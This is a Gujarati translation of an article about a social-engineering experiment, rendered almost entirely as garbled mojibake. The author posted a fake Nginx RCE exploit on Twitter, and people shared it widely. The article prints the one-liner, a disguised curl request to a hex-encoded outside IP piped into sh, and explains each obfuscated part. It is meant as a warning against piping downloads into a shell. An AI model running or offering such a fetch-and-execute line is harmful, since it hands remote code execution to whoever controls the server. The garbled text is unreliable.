Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ

เชจเซ‰เซ…เชง. เช…เชจเซเชตเชพเชฆ: เชฒเซ‡เช–เช• เชฎเซ‚เชณ เชจเซ‹เช‚เชง, 1 เชœเซ‚เชจเชจเชพ เชฐเซ‹เชœ เชชเซเชฐเช•เชพเชถเชฟเชค, เชฎเชพเชนเชฟเชคเซ€ เชธเซเชฐเช•เซเชทเชพเชฎเชพเช‚ เชฐเชธ เชงเชฐเชพเชตเชคเชพ เชฒเซ‹เช•เซ‹ เชตเชšเซเชšเซ‡ เชเช• เชชเซเชฐเชฏเซ‹เช— เช•เชฐเชตเชพเชจเซเช‚ เชจเช•เซเช•เซ€ เช•เชฐเซเชฏเซเช‚. เช† เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เชคเซ‡เชฃเซ‡ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชฎเชพเช‚ เช…เชชเซเชฐเช—เชŸ เชจเชฌเชณเชพเชˆ เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชคเซˆเชฏเชพเชฐ เช•เชฐเซเชฏเซเช‚ เช…เชจเซ‡ เชคเซ‡เชจเซ‡ เชคเซ‡เชจเชพ เชŸเซเชตเชฟเชŸเชฐ เชชเชฐ เชชเซ‹เชธเซเชŸ เช•เชฐเซเชฏเซเช‚. เชคเซ‡เชฎเชจเซ€ เชงเชพเชฐเชฃเชพเช“ - เช•เซ‹เชกเชฎเชพเช‚ เชธเซเชชเชทเซเชŸ เช›เซ‡เชคเชฐเชชเชฟเช‚เชกเซ€ เชœเซ‹เชจเชพเชฐเชพ เชจเชฟเชทเซเชฃเชพเชคเซ‹ เชฆเซเชตเชพเชฐเชพ เชคเชฐเชค เชœ เช–เซเชฒเซเชฒเซ€ เชชเชพเชกเชตเชพเชจเซ€ - เชเชŸเชฒเซเช‚ เชœ เชจเชนเซ€เช‚ เชธเชพเชšเซเช‚ เชชเชกเซเชฏเซเช‚ เชจ เชนเชคเซเช‚... เชคเซ‡เช“ เชฌเชงเซ€ เช…เชชเซ‡เช•เซเชทเชพเช“ เช•เชฐเชคเชพเช‚ เชตเชงเซ€ เช—เชฏเชพ, เช…เชจเซ‡ เชตเชฟเชฐเซเชฆเซเชง เชฆเชฟเชถเชพเชฎเชพเช‚: เชŸเซเชตเซ€เชŸเชจเซ‡ เช…เชธเช‚เช–เซเชฏ เชฒเซ‹เช•เซ‹เชจเซ‹ เชญเชพเชฐเซ‡ เชŸเซ‡เช•เซ‹ เชฎเชณเซเชฏเซ‹ เชœเซ‡เชฃเซ‡ เชคเซ‡เชจเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชคเชชเชพเชธเซ‹.

Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ

TL;DR: เช•เซ‹เชˆเชชเชฃ เชธเช‚เชœเซ‹เช—เซ‹เชฎเชพเช‚ sh เช…เชฅเชตเชพ bash เชฎเชพเช‚ เชซเชพเช‡เชฒ เชชเชพเช‡เชชเชฒเชพเช‡เชจเชฟเช‚เช—เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชถเซ‹ เชจเชนเซ€เช‚. เชคเชฎเชพเชฐเชพ เช•เชฎเซเชชเซเชฏเซเชŸเชฐ เชชเชฐเชจเซเช‚ เชจเชฟเชฏเช‚เชคเซเชฐเชฃ เช—เซเชฎเชพเชตเชตเชพเชจเซ€ เช† เชเช• เชธเชฐเชธ เชฐเซ€เชค เช›เซ‡.

เชนเซเช‚ เชคเชฎเชพเชฐเซ€ เชธเชพเชฅเซ‡ 31เชฎเซ€ เชฎเซ‡เชจเชพ เชฐเซ‹เชœ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒ เช•เซ‹เชฎเชฟเช• PoC เชถเซ‹เชทเชฃ เชตเชฟเชถเซ‡เชจเซ€ เชŸเซ‚เช‚เช•เซ€ เชตเชพเชฐเซเชคเชพ เชถเซ‡เชฐ เช•เชฐเชตเชพ เชฎเชพเช‚เช—เซ เช›เซเช‚. เชจเชพ เชธเชฎเชพเชšเชพเชฐเซ‹เชจเชพ เชœเชตเชพเชฌเชฎเชพเช‚ เชคเซ‡ เชคเชฐเชค เชœ เชฆเซ‡เช–เชพเชฏเซ‹ เชเชฒเชฟเชธเชพ เชเชธเซ‡เชœ เชถเซ‡เชตเชšเซ‡เชจเซเช•เซ‹, เชธเชญเซเชฏ เชเซ€เชฐเซ‹ เชกเซ‡ เชชเชนเซ‡เชฒ (ZDI), เช•เซ‡ NGINX เชฎเชพเช‚ เชจเชฌเชณเชพเชˆ เชตเชฟเชถเซ‡เชจเซ€ เชฎเชพเชนเชฟเชคเซ€ เชœเซ‡ RCE (เชฐเชฟเชฎเซ‹เชŸ เช•เซ‹เชก เชเช•เซเชเชฟเช•เซเชฏเซเชถเชจ) เชคเชฐเชซ เชฆเซ‹เชฐเซ€ เชœเชพเชฏ เช›เซ‡ เชคเซ‡ เชŸเซ‚เช‚เช• เชธเชฎเชฏเชฎเชพเช‚ เชœเชพเชนเซ‡เชฐ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. NGINX เช˜เชฃเซ€ เชตเซ‡เชฌเชธเชพเช‡เชŸเซเชธเชจเซ‡ เชชเชพเชตเชฐ เช•เชฐเซ‡ เช›เซ‡, เชคเซ‡เชฅเซ€ เชธเชฎเชพเชšเชพเชฐ เชฌเซ‹เชฎเซเชฌเชถเซ‡เชฒ เชนเซ‹เชตเชพ เชœเซ‹เชˆเช. เชชเชฐเช‚เชคเซ "เชœเชตเชพเชฌเชฆเชพเชฐเซ€เชชเซ‚เชฐเซเชฃ เชœเชพเชนเซ‡เชฐเชพเชค" เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเชฎเชพเช‚ เชตเชฟเชฒเช‚เชฌเชจเซ‡ เช•เชพเชฐเชฃเซ‡, เชถเซเช‚ เชฅเชฏเซเช‚ เชคเซ‡เชจเซ€ เชตเชฟเช—เชคเซ‹ เชœเชพเชฃเซ€ เชถเช•เชพเชˆ เชจเชฅเซ€ - เช† เชชเซเชฐเชฎเชพเชฃเชญเซ‚เชค ZDI เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช›เซ‡.

Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ
เชŸเซเชตเซ€เชŸ NGINX เชฎเชพเช‚ เชจเชฌเชณเชพเชˆ เชœเชพเชนเซ‡เชฐเชพเชค เชตเชฟเชถเซ‡

เช•เชฐเซเชฒเชฎเชพเช‚ เชจเชตเซ€ เช…เชธเซเชชเชทเซเชŸเชคเชพ เชŸเซ‡เช•เชจเชฟเช• เชชเชฐ เช•เชพเชฎ เช•เชฐเชตเชพเชจเซเช‚ เชธเชฎเชพเชชเซเชค เช•เชฐเซเชฏเชพ เชชเช›เซ€, เชฎเซ‡เช‚ เชฎเซ‚เชณ เชŸเซเชตเซ€เชŸเชจเซ‡ เชŸเชพเช‚เช•เซเชฏเซเช‚ เช…เชจเซ‡ "เชเช• เชตเชฐเซเช•เชฟเช‚เช— เชชเซ€เช“เชธเซ€ เชฒเซ€เช• เช•เชฐเซเชฏเซเช‚" เชœเซ‡เชฎเชพเช‚ เช•เซ‹เชกเชจเซ€ เชเช• เชฒเซ€เชŸเซ€เชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡ เชœเซ‡ เชถเซ‹เชงเชพเชฏเซ‡เชฒ เชจเชฌเชณเชพเชˆเชจเซเช‚ เชถเซ‹เชทเชฃ เช•เชฐเซ‡ เช›เซ‡. เช…เชฒเชฌเชคเซเชค, เช† เชธเช‚เชชเซ‚เชฐเซเชฃ เชจเซ‹เชจเชธเซ‡เชจเซเชธ เชนเชคเซ€. เชฎเซ‡เช‚ เชงเชพเชฐเซเชฏเซเช‚ เชนเชคเซเช‚ เช•เซ‡ เชนเซเช‚ เชคเชฐเชค เชœ เช–เซเชฒเซเชฒเชพ เชฅเชˆ เชœเชˆเชถ, เช…เชจเซ‡ เชถเซเชฐเซ‡เชทเซเช  เชฐเซ€เชคเซ‡ เชฎเชจเซ‡ เชฌเซ‡ เชฐเชฟเชŸเซเชตเซ€เชŸ เชฎเชณเชถเซ‡ (เช“เชน เชธเชพเชฐเซเช‚).

Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ
เชŸเซเชตเซ€เชŸ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡

เชœเซ‹ เช•เซ‡, เชชเช›เซ€ เชถเซเช‚ เชฅเชฏเซเช‚ เชคเซ‡เชจเซ€ เชนเซเช‚ เช•เชฒเซเชชเชจเชพ เช•เชฐเซ€ เชถเช•เชคเซ‹ เชจเชฅเซ€. เชฎเชพเชฐเชพ เชŸเซเชตเชฟเชŸเชจเซ€ เชฒเซ‹เช•เชชเซเชฐเชฟเชฏเชคเชพ เช†เชธเชฎเชพเชจเซ‡ เชชเชนเซ‹เช‚เชšเซ€ เช—เชˆ เช›เซ‡. เช†เชถเซเชšเชฐเซเชฏเชœเชจเช• เชฐเซ€เชคเซ‡, เช† เช•เซเชทเชฃเซ‡ (15:00 เชฎเซ‹เชธเซเช•เซ‹ เชธเชฎเชฏ เชœเซ‚เชจ 1) เชฅเซ‹เชกเชพ เชฒเซ‹เช•เซ‹เชจเซ‡ เชธเชฎเชœเชพเชฏเซเช‚ เช›เซ‡ เช•เซ‡ เช† เชจเช•เชฒเซ€ เช›เซ‡. เช˜เชฃเชพ เชฒเซ‹เช•เซ‹ เชคเซ‡เชจเซ‡ เชฌเชฟเชฒเช•เซเชฒ เชคเชชเชพเชธเซเชฏเชพ เชตเชฟเชจเชพ เชฐเซ€เชŸเซเชตเซ€เชŸ เช•เชฐเซ‡ เช›เซ‡ (เชคเซ‡เชจเชพ เชธเซเช‚เชฆเชฐ ASCII เช—เซเชฐเชพเชซเชฟเช•เซเชธเชจเซ€ เชชเซเชฐเชถเช‚เชธเชพ เช•เชฐเชตเชพ เชฆเซ‹).

Nginx เชฎเชพเชŸเซ‡ เชจเช•เชฒเซ€ เชถเซ‹เชทเชฃ เชธเชพเชฅเซ‡ เชธเชพเชฎเชพเชœเชฟเช• เชชเซเชฐเชฏเซ‹เช—เชจเซ€ เชธเชซเชณเชคเชพ
เชœเชฐเชพ เชœเซเช“ เช•เซ‡ เชคเซ‡ เช•เซ‡เชŸเชฒเซเช‚ เชธเซเช‚เชฆเชฐ เช›เซ‡!

เชœเซเชฏเชพเชฐเซ‡ เช† เชคเชฎเชพเชฎ เชฒเซ‚เชชเซเชธ เช…เชจเซ‡ เชฐเช‚เช—เซ‹ เชฎเชนเชพเชจ เช›เซ‡, เชคเซ‡ เชธเซเชชเชทเซเชŸ เช›เซ‡ เช•เซ‡ เชฒเซ‹เช•เซ‹เช เชคเซ‡เชฎเชจเซ‡ เชœเซ‹เชตเชพ เชฎเชพเชŸเซ‡ เชคเซ‡เชฎเชจเชพ เชฎเชถเซ€เชจ เชชเชฐ เช•เซ‹เชก เชšเชฒเชพเชตเชตเชพเชจเซ‹ เชนเชคเซ‹. เชธเชฆเชญเชพเช—เซเชฏเซ‡, เชฌเซเชฐเชพเช‰เชเชฐเซเชธ เช เชœ เชฐเซ€เชคเซ‡ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡, เช…เชจเซ‡ เช เชนเช•เซ€เช•เชค เชธเชพเชฅเซ‡ เช•เซ‡ เชนเซเช‚ เช–เชฐเซ‡เช–เชฐ เช•เชพเชจเซ‚เชจเซ€ เชฎเซเชถเซเช•เซ‡เชฒเซ€เชฎเชพเช‚ เช†เชตเชตเชพ เชฎเชพเช‚เช—เชคเซ‹ เชจ เชนเชคเซ‹, เชฎเชพเชฐเซ€ เชธเชพเช‡เชŸเชฎเชพเช‚ เชฆเชซเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒ เช•เซ‹เชก เช•เซ‹เชˆเชชเชฃ เชตเชงเชพเชฐเชพเชจเชพ เช•เซ‹เชกเชจเซ‡ เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช…เชฅเชตเชพ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเซเชฏเชพ เชตเชฟเชจเชพ เชฎเชพเชคเซเชฐ เช‡เช•เซ‹ เช•เซ‰เชฒ เช•เชฐเซ€ เชฐเชนเซเชฏเซ‹ เชนเชคเซ‹.

เชจเชพเชจเซเช‚ เชตเชฟเชทเชฏเชพเช‚เชคเชฐ: เชจเซ‡เชŸเชธเซเชชเซ‚เช•เซ€, dnz, เชนเซเช‚ เช…เชจเซ‡ เชŸเซ€เชฎเชจเชพ เช…เชจเซเชฏ เชฒเซ‹เช•เซ‹ เช เช— เชŸเซ‹เชณเซเช‚ เช…เชฎเซ‡ เชฅเซ‹เชกเชพ เชธเชฎเชฏ เชฎเชพเชŸเซ‡ เช•เชฐเซเชฒ เช†เชฆเซ‡เชถเซ‹เชจเซ‡ เช…เชธเซเชชเชทเซเชŸ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชตเชฟเชตเชฟเชง เชฐเซ€เชคเซ‹ เชธเชพเชฅเซ‡ เชฐเชฎเซ€ เชฐเชนเซเชฏเชพ เช›เซ€เช เช•เชพเชฐเชฃ เช•เซ‡ เชคเซ‡ เชธเชฐเชธ เช›เซ‡... เช…เชจเซ‡ เช…เชฎเซ‡ เช—เซ€เช•เซเชธ เช›เซ€เช. netspooky เช…เชจเซ‡ dnz เช เช˜เชฃเซ€ เชจเชตเซ€ เชชเชฆเซเชงเชคเชฟเช“ เชถเซ‹เชงเซ€ เช•เชพเชขเซ€ เช›เซ‡ เชœเซ‡ เชฎเชจเซ‡ เช…เชคเซเชฏเช‚เชค เช†เชถเชพเชธเซเชชเชฆ เชฒเชพเช—เชคเซ€ เชนเชคเซ€. เชนเซเช‚ เช†เชจเช‚เชฆเชฎเชพเช‚ เชœเซ‹เชกเชพเชฏเซ‹ เช…เชจเซ‡ เชฏเซเช•เซเชคเชฟเช“เชจเซ€ เชฌเซ‡เช—เชฎเชพเช‚ IP เชฆเชถเชพเช‚เชถ เชฐเซ‚เชชเชพเช‚เชคเชฐเชฃ เช‰เชฎเซ‡เชฐเชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเซเชฏเซ‹. เชคเซ‡ เชคเชพเชฐเชฃ เช†เชชเซ‡ เช›เซ‡ เช•เซ‡ IP เชจเซ‡ เชนเซ‡เช•เซเชธเชพเชกเซ‡เชธเชฟเชฎเชฒ เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฎเชพเช‚ เชชเชฃ เชฐเซ‚เชชเชพเช‚เชคเชฐเชฟเชค เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชคเชฆเซเชชเชฐเชพเช‚เชค, เช•เชฐเซเชฒ เช…เชจเซ‡ เชฎเซ‹เชŸเชพเชญเชพเช—เชจเชพ เช…เชจเซเชฏ NIX เชŸเซ‚เชฒเซเชธ เชนเซ‡เช•เซเชธเชพเชกเซ‡เชธเชฟเชฎเชฒ IP เชจเซ‡ เช–เซเชถเซ€เชฅเซ€ เช–เชพเชฏ เช›เซ‡! เชคเซ‡เชฅเซ€ เชคเซ‡ เชฎเชพเชคเซเชฐ เชเช• เชตเชฟเชถเซเชตเชพเชธเชชเชพเชคเซเชฐ เช…เชจเซ‡ เชธเซเชฐเช•เซเชทเชฟเชค เชฆเซ‡เช–เชพเชคเซ€ เช•เชฎเชพเชจเซเชก เชฒเชพเช‡เชจ เชฌเชจเชพเชตเชตเชพเชจเซ€ เชฌเชพเชฌเชค เชนเชคเซ€. เช†เช–เชฐเซ‡ เชฎเซ‡เช‚ เช†เชจเชพ เชชเชฐ เชธเชฎเชพเชงเชพเชจ เช•เชฐเซเชฏเซเช‚:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

เชธเชพเชฎเชพเชœเชฟเช•-เช‡เชฒเซ‡เช•เซเชŸเซเชฐเซ‹เชจเชฟเช• เชเชจเซเชœเชฟเชจเชฟเชฏเชฐเชฟเช‚เช— (SEE) - เชฎเชพเชคเซเชฐ เชซเชฟเชถเชฟเช‚เช— เช•เชฐเชคเชพเช‚ เชตเชงเซ

เชธเชฒเชพเชฎเชคเซ€ เช…เชจเซ‡ เชชเชฐเชฟเชšเชฟเชคเชคเชพ เช† เชชเซเชฐเชฏเซ‹เช—เชจเซ‹ เชฎเซเช–เซเชฏ เชญเชพเช— เชนเชคเซ‹. เชฎเชจเซ‡ เชฒเชพเช—เซ‡ เช›เซ‡ เช•เซ‡ เชคเซ‡เช“ เชœ เชคเซ‡เชฎเชจเซ€ เชธเชซเชณเชคเชพ เชคเชฐเชซ เชฆเซ‹เชฐเซ€ เช—เชฏเชพ. เช†เชฆเซ‡เชถ เชตเชพเช•เซเชฏ เชธเซเชชเชทเซเชŸเชชเชฃเซ‡ "127.0.0.1" (เชœเชพเชฃเซ€เชคเชพ เชฒเซ‹เช•เชฒเชนเซ‹เชธเซเชŸ) เชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเซ€เชจเซ‡ เชธเซเชฐเช•เซเชทเชพเชจเซ‡ เชธเซ‚เชšเชฟเชค เช•เชฐเซ‡ เช›เซ‡. เชฒเซ‹เช•เชฒเชนเซ‹เชธเซเชŸ เชธเซเชฐเช•เซเชทเชฟเชค เชฎเชพเชจเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เช…เชจเซ‡ เชคเซ‡เชจเชพ เชชเชฐเชจเซ‹ เชกเซ‡เชŸเชพ เชคเชฎเชพเชฐเชพ เช•เชฎเซเชชเซเชฏเซเชŸเชฐเชจเซ‡ เช•เซเชฏเชพเชฐเซ‡เชฏ เช›เซ‹เชกเชคเซ‹ เชจเชฅเซ€.

เชชเชฐเชฟเชšเชฏ เช เชชเซเชฐเชฏเซ‹เช—เชจเซ‹ เชฌเซ€เชœเซ‹ เชฎเซเช–เซเชฏ SEE เช˜เชŸเช• เชนเชคเซ‹. เชฒเช•เซเชทเซเชฏ เชชเซเชฐเซ‡เช•เซเชทเช•เซ‹เชฎเชพเช‚ เชฎเซเช–เซเชฏเชคเซเชตเซ‡ เช•เซ‹เชฎเซเชชเซเชฏเซเชŸเชฐ เชธเซเชฐเช•เซเชทเชพเชจเซ€ เชฎเซ‚เชณเชญเซ‚เชค เชฌเชพเชฌเชคเซ‹เชฅเซ€ เชชเชฐเชฟเชšเชฟเชค เชฒเซ‹เช•เซ‹เชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชคเซ‹ เชนเซ‹เชตเชพเชฅเซ€, เช•เซ‹เชก เชฌเชจเชพเชตเชตเซ‹ เชฎเชนเชคเซเชตเชชเซ‚เชฐเซเชฃ เชนเชคเซ‹ เชœเซ‡เชฅเซ€ เชคเซ‡เชจเชพ เชญเชพเช—เซ‹ เชชเชฐเชฟเชšเชฟเชค เช…เชจเซ‡ เชชเชฐเชฟเชšเชฟเชค เชฒเชพเช—เซ‡ (เช…เชจเซ‡ เชคเซ‡เชฅเซ€ เชธเชฒเชพเชฎเชค). เชœเซ‚เชจเชพ เชถเซ‹เชทเชฃเชจเซ€ เชตเชฟเชญเชพเชตเชจเชพเช“เชจเชพ เชคเชคเซเชตเซ‹ เช‰เช›เซ€เชจเชพ เชฒเซ‡เชตเชพ เช…เชจเซ‡ เชคเซ‡เชฎเชจเซ‡ เช…เชธเชพเชฎเชพเชจเซเชฏ เชฐเซ€เชคเซ‡ เชœเซ‹เชกเชตเชพเชจเซเช‚ เช–เซ‚เชฌ เชœ เชธเชซเชณ เชธเชพเชฌเชฟเชค เชฅเชฏเซเช‚ เช›เซ‡.

เชจเซ€เชšเซ‡ เชตเชจ-เชฒเชพเช‡เชจเชฐเชจเซเช‚ เชตเชฟเช—เชคเชตเชพเชฐ เชตเชฟเชถเซเชฒเซ‡เชทเชฃ เช›เซ‡. เช† เชธเซ‚เชšเชฟเชฎเชพเช‚เชจเซ€ เชฆเชฐเซ‡เช• เชตเชธเซเชคเซ เชชเชนเซ‡เชฐเซ‡ เช›เซ‡ เช•เซ‹เชธเซเชฎเซ‡เชŸเชฟเช• เชชเซเชฐเช•เซƒเชคเชฟ, เช…เชจเซ‡ เชคเซ‡เชจเซ€ เชตเชพเชธเซเชคเชตเชฟเช• เช•เชพเชฎเช—เซ€เชฐเซ€ เชฎเชพเชŸเซ‡ เชตเซเชฏเชตเชนเชพเชฐเซ€เช• เชฐเซ€เชคเซ‡ เช•เช‚เชˆเชชเชฃ เชœเชฐเซ‚เชฐเซ€ เชจเชฅเซ€.

เช•เชฏเชพ เช˜เชŸเช•เซ‹ เช–เชฐเซ‡เช–เชฐ เชœเชฐเซ‚เชฐเซ€ เช›เซ‡? เช† -gsS, -O 0x0238f06a, |sh เช…เชจเซ‡ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เชชเซ‹เชคเซ‡. เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชฎเชพเช‚ เช•เซ‹เชˆ เชฆเซ‚เชทเชฟเชค เชธเซ‚เชšเชจเชพเช“ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เช†เชฆเซ‡เชถเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชซเช•เซเชค ASCII เช—เซเชฐเชพเชซเชฟเช•เซเชธ เชธเซ‡เชตเชพ เช†เชชเซ‡ เช›เซ‡ echo เชฎเชพเช‚ เชธเชฎเชพเชฏเซ‡เชฒ เชธเซเช•เซเชฐเชฟเชชเซเชŸเชฎเชพเช‚ index.html. เชœเซเชฏเชพเชฐเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช เชธเชพเชฅเซ‡ เชฒเชพเช‡เชจ เชฆเชพเช–เชฒ เช•เชฐเซ€ |sh เชตเชšเซเชšเซ‡, index.html เชฒเซ‹เชก เช…เชจเซ‡ เชšเชฒเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชธเชฆเชจเชธเซ€เชฌเซ‡, เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชจเชพ เช•เชธเซเชŸเซ‹เชกเชฟเชฏเชจเชจเซ‹ เช•เซ‹เชˆ เช–เชฐเชพเชฌ เชˆเชฐเชพเชฆเซ‹ เชจเชนเซ‹เชคเซ‹.

  • ../../../%00 โ€” เชจเชฟเชฐเซเชฆเซ‡เชถเชฟเช•เชพเชจเซ€ เชฌเชนเชพเชฐ เชœเชˆเชจเซ‡ เชฐเชœเซ‚ เช•เชฐเซ‡ เช›เซ‡;
  • ngx_stream_module.so โ€” เชฐเซ‡เชจเซเชกเชฎ NGINX เชฎเซ‹เชกเซเชฏเซเชฒเชจเซ‹ เชฎเชพเชฐเซเช—;
  • /bin/sh%00<'protocol:TCP' - เช…เชฎเซ‡ เชฎเชพเชจเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เชฒเซ‹เชจเซเชš เช•เชฐเซ€ เชฐเชนเซเชฏเชพ เช›เซ€เช /bin/sh เชฒเช•เซเชทเซเชฏ เชฎเชถเซ€เชจ เชชเชฐ เช…เชจเซ‡ เช†เช‰เชŸเชชเซเชŸเชจเซ‡ TCP เชšเซ‡เชจเชฒ เชชเชฐ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเซ‹;
  • -O 0x0238f06a#PLToffset - เช—เซเชชเซเชค เช˜เชŸเช•, เชชเซ‚เชฐเช• #PLToffset, PLT เชฎเชพเช‚ เชธเชฎเชพเชฏเซ‡เชฒ เชฎเซ‡เชฎเชฐเซ€ เช“เชซเชธเซ‡เชŸ เชœเซ‡เชตเซ‹ เชฆเซ‡เช–เชพเชต;
  • |sh; - เชฌเซ€เชœเซ‹ เชฎเชนเชคเซเชตเชชเซ‚เชฐเซเชฃ เชญเชพเช—. เชชเชฐ เชธเซเชฅเชฟเชค เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชฎเชพเช‚เชฅเซ€ เช†เชตเชคเชพ เช•เซ‹เชกเชจเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เช…เชฎเชจเซ‡ เช†เช‰เชŸเชชเซเชŸเชจเซ‡ sh/bash เชชเชฐ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - เชเช• เชกเชฎเซ€ เชœเซ‡เชฎเชพเช‚ เชจเซ‡เชŸเช•เซ‡เชŸเชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เชฅเชพเชฏ เช›เซ‡ /dev/tcp/localhostเชœเซ‡เชฅเซ€ เชฌเชงเซเช‚ เชซเชฐเซ€เชฅเซ€ เชธเซเชฐเช•เซเชทเชฟเชค เชฆเซ‡เช–เชพเชฏ. เชนเช•เซ€เช•เชคเชฎเชพเช‚, เชคเซ‡ เช•เช‚เชˆ เช•เชฐเชคเซเช‚ เชจเชฅเซ€ เช…เชจเซ‡ เชธเซเช‚เชฆเชฐเชคเชพ เชฎเชพเชŸเซ‡ เชฒเชพเช‡เชจเชฎเชพเช‚ เชถเชพเชฎเซ‡เชฒ เช›เซ‡.

เช† เชเช•-เชฒเชพเช‡เชจ เชธเซเช•เซเชฐเชฟเชชเซเชŸเชจเชพ เชกเซ€เช•เซ‹เชกเชฟเช‚เช— เช…เชจเซ‡ "เชธเชพเชฎเชพเชœเชฟเช•-เช‡เชฒเซ‡เช•เซเชŸเซเชฐเซ‹เชจเชฟเช• เชเชจเซเชœเชฟเชจเชฟเชฏเชฐเชฟเช‚เช—" (เชœเชŸเชฟเชฒ เชซเชฟเชถเชฟเช‚เช—) เชจเชพ เชชเชพเชธเชพเช“เชจเซ€ เชšเชฐเซเชšเชพเชจเซ‡ เชธเชฎเชพเชชเซเชค เช•เชฐเซ‡ เช›เซ‡.

เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เช•เชจเซเชซเชฟเช—เชฐเซ‡เชถเชจ เช…เชจเซ‡ เช•เชพเช‰เชจเซเชŸเชฐเชฎเซ‡เชเชฐเซเชธ

เชฎเชพเชฐเชพ เชฎเซ‹เชŸเชพเชญเชพเช—เชจเชพ เชธเชฌเซเชธเซเช•เซเชฐเชพเช‡เชฌเชฐเซเชธ เช‡เชจเซเชซเซ‹เชธเซ‡เช•/เชนเซ‡เช•เชฐเซเชธ เชนเซ‹เชตเชพเชฅเซ€, เชฎเซ‡เช‚ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชจเซ‡ เชคเซ‡เชฎเชจเชพ เชคเชฐเชซเชฅเซ€ "เชฐเซเชšเชฟ" เชจเชพ เช…เชญเชฟเชตเซเชฏเช•เซเชคเชฟเช“ เชฎเชพเชŸเซ‡ เชฅเซ‹เชกเซเช‚ เชตเชงเซ เชชเซเชฐเชคเชฟเชฐเซ‹เชงเช• เชฌเชจเชพเชตเชตเชพเชจเซเช‚ เชจเช•เซเช•เซ€ เช•เชฐเซเชฏเซเช‚, เชœเซ‡เชฅเซ€ เช›เซ‹เช•เชฐเชพเช“ เชชเชพเชธเซ‡ เช•เช‚เชˆเช• เช•เชฐเชตเชพเชจเซเช‚ เชนเซ‹เชฏ (เช…เชจเซ‡ เชคเซ‡ เช†เชจเช‚เชฆเชฆเชพเชฏเช• เชนเชถเซ‡. เชธเซเชฅเชพเชชเชจเชพ). เชนเซเช‚ เช…เชนเซ€เช‚ เชคเชฎเชพเชฎ เช•เซเชทเชคเชฟเช“เชจเซ‡ เชธเซ‚เชšเชฟเชฌเชฆเซเชง เช•เชฐเชตเชพเชจเซ‹ เชจเชฅเซ€ เช•เชพเชฐเชฃ เช•เซ‡ เชชเซเชฐเชฏเซ‹เช— เชนเชœเซ€ เชšเชพเชฒเซ เช›เซ‡, เชชเชฐเช‚เชคเซ เช…เชนเซ€เช‚ เช•เซ‡เชŸเชฒเซ€เช• เชฌเชพเชฌเชคเซ‹ เช›เซ‡ เชœเซ‡ เชธเชฐเซเชตเชฐ เช•เชฐเซ‡ เช›เซ‡:

